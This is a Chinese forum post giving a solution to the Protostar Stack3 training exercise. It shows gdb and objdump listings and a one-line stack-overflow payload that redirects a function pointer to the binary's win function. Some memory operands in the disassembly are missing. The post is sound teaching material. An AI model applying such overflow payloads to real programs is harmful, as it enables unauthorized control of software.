傲渊山岳 发表于 2023-4-18 23:00:32

Pwn系列之Protostar靶场 Stack3题解

(gdb) disass main
Dump of assembler code for function main:
0x08048438 <main+0>:        push   ebp
0x08048439 <main+1>:        mov    ebp,esp
0x0804843b <main+3>:        and    esp,0xfffffff0
0x0804843e <main+6>:        sub    esp,0x60
0x08048441 <main+9>:        mov    DWORD PTR ,0x0
0x08048449 <main+17>:        lea    eax,
0x0804844d <main+21>:        mov    DWORD PTR ,eax
0x08048450 <main+24>:        call   0x8048330 <gets@plt>
0x08048455 <main+29>:        cmp    DWORD PTR ,0x0
0x0804845a <main+34>:        je   0x8048477 <main+63>
0x0804845c <main+36>:        mov    eax,0x8048560
0x08048461 <main+41>:        mov    edx,DWORD PTR
0x08048465 <main+45>:        mov    DWORD PTR ,edx
0x08048469 <main+49>:        mov    DWORD PTR ,eax
0x0804846c <main+52>:        call   0x8048350 <printf@plt>
0x08048471 <main+57>:        mov    eax,DWORD PTR
0x08048475 <main+61>:        call   eax
0x08048477 <main+63>:        leave
0x08048478 <main+64>:        ret   
End of assembler dump.这个比较有意思的是,main函数里定义了一个函数指针,为什么说是函数指针呢?因为在main+61指令中调用了
这个函数指针。栈图和之前的类似,不同的是我们需要修改函数指针指向的地址。
objdump -d stack3

08048424 <win>:
8048424:        55                           push   %ebp
8048425:        89 e5                        mov    %esp,%ebp
8048427:        83 ec 18                     sub    $0x18,%esp
804842a:        c7 04 24 40 85 04 08         movl   $0x8048540,(%esp)
8048431:        e8 2a ff ff ff               call   8048360 <puts@plt>
8048436:        c9                           leave
8048437:        c3                           ret 找到了win函数的地址
现在只需要修改函数指针的地址到win函数即可。
payload: print 64*"a"+"\x24\x84\x04\x08"
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: Pwn系列之Protostar靶场 Stack3题解